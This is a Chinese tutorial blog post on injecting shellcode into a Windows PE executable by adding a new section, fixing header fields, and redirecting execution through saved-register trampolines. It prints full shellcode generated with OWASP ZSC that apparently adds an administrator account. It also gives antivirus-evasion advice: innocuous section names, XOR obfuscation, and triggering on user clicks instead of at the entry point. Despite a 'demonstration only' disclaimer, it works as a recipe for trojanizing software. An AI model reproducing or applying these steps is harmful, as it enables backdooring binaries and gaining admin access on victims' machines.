• Inject shellcode into PE file


    先声明这是不免杀的,只是演示。

    哔哩哔哩视频

    新增节

    • 一般能实现特定功能的shellcode的长度都比较长,可以分到几个节上的空白区,但是这样麻烦啊,或者把最后一个节扩大,但是最后一个节一般没有执行的属性。所以选择新增一个节表。

    修改添加节表

    1. 先判断一下最后一个节表后面有没有够40个字节新增一个节表的结构体,正常的都够。
    2. 把第一个节表拷贝写到最后一个节表的后面,因为第一个节表的属性默认是可执行的,可以省了后面的修改。
    3. 节表是复制过来的所以还要修改很多东西,先获取一下文件对齐和内存对齐。
      1. SectionAlignment 内存对齐 在扩展PE头上的第十一个属性,基于扩展PE头偏移地址32个字节,大小为DWORD。当前的程序的为:1000h。
      2. FileAlignment 文件对齐 在扩展PE头上的第十二个属性,基于扩展PE头偏移地址36个字节,大小为DWORD。当前程序得为200h。
    大小 英文名 描述
    1*8 Name[8] 就是pdata,为了给杀毒软件看着正常一点,尽量改为PE文件有的名称
    4 VirtualSize 1000h,也就是00 10 00 00
    4 VirtualAddress 上一个节表的VirtualAddress加上上一个VirtualSize再按照SectionAlignment的整数倍对齐。
    4 SizeOfRawData FileAlignment域的倍数,改1000h就可以了
    4 PointerToRawData 上一个节表的PointerToRawData加上SizeOfRawData再按照FileAlignment的整数倍对齐。
    4 PointerToRelocations 00000000
    4 PointerToLinenumbers 00000000
    2 NumberOfRelocations 0000
    2 NumberOfLinenumbers 0000
    4 Characteristics 复制了第一个节点的,所以不用改

    填充节区数据

    • 上面添加了1000h转十进制为4096个字节,直接拉到最后面添加4096个字节就可以了。

    修改标准PE头

    • 修改标准PE头的NumberOfSections属性,也就是节表的数量,在原来的+1就可以了。基于标准PE头偏移两字节,大小为Word。

    修改PE扩展表

    • 修改SizeOfImage,在原来的基础上加上添加的字节大小,按照内存对齐,基于PE扩展表偏移56字节(三行半),大小为DWORD

    获取Shellcode

    • MSF生成的都杀的差不多了,可以加点XOR混淆,也可以用C代码自己改一下标志。

    • OWASP有一个生成shellcode的项目还行,也可以生成C代码改为shellcode,把常量字符串都换成char数组就行了,替换x为','x

    • https://ali-razmjoo.gitbooks.io/owasp-zsc/content/

    • 生成shellcode

    ➜  ~ zsc -p windows_x86/add_admin/none -i "kt~~~kt" -o add_admin.c
    
    x31xc9x64x8bx41x30x8bx40x0cx8bx70x14xadx96xadx8bx58x10x8bx53x3cx01xdax8bx52x78x01xdax8bx72x20x01xdex31xc9x41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x8bx72x24x01xdex66x8bx0cx4ex49x8bx72x1cx01xdex8bx14x8ex01xdax53x52x31xc9x51xb9x78x65x63x61x51x83x6cx24x03x61x68x57x69x6ex45x54x53xffxd2x83xc4x08x59x50x31xc9x51x68x90x61x64x64x59xc1xe9x08x51x68x6bx74x20x2fx68x6fx72x73x20x68x74x72x61x74x68x69x6ex69x73x68x20x61x64x6dx68x72x6fx75x70x68x63x61x6cx67x68x74x20x6cx6fx68x26x20x6ex65x68x64x64x20x26x68x74x20x2fx61x68x6bx74x20x6bx68x73x65x72x20x68x65x74x20x75x68x2fx63x20x6ex68x65x78x65x20x68x63x6dx64x2ex31xdbx89xe3x31xc9x41x51x53xffxd0x83xc4x50x5ax5bx31xc9xb9x65x73x73x61x51x83x6cx24x03x61x68x50x72x6fx63x68x45x78x69x74x54x53xffxd2x31xc9x51xffxd0
    
    • 把x替换为空就是十六进制,使用x64dbg粘贴到新添加的节区里。

    修改程序流程

    • 不要直接在程序入口点那里修改JMP到shellcode执行,这种我试过了了,杀毒软件秒杀。可以在用户交互时触发执行shellcode。
    • 比如在鼠标点击了哪里
    • 也不要直接就跳到shellcode的执行地址,至少来个判断加循环把地址算出来再跳到shellcode的执行地址。

    保存和恢复CPU现场

    • 保存各个寄存器的值,免得执行完shellcode后搞乱寄存器就跑飞了。
    • 汇编直接PUSHAD,PUSHFD就能把寄存器和标志寄存器的值压入堆栈。
    • 执行完shellcode再POPAD,POPFD恢复CPU现场。
    正常指令
    JMP 到shellcode入口地址
    PUSHAD
    PUSHFD
    保存CPU现场
    执行shellcode
    执行完后恢复CPU现场
    POPFD
    POPAD
    JMP调用shellcode入口地址的下一个地址
    
    • 不太建议用call指令,因为会打乱堆栈数据,直接用JMP就可以了。

    • 导出补丁文件。

  • 相关阅读:
    受脑认知和神经科学启发的人工智能
    1分钟爱上管理学
    刻意练习
    课题设计相关
    销售必备心灵鸡汤(转)
    从优秀到卓越
    小记
    何谓成熟?
    三体运动的程序模拟
    行星运动轨迹的程序实现
  • 原文地址:https://www.cnblogs.com/Kali-Team/p/12255795.html
Copyright © 2020-2023  润新知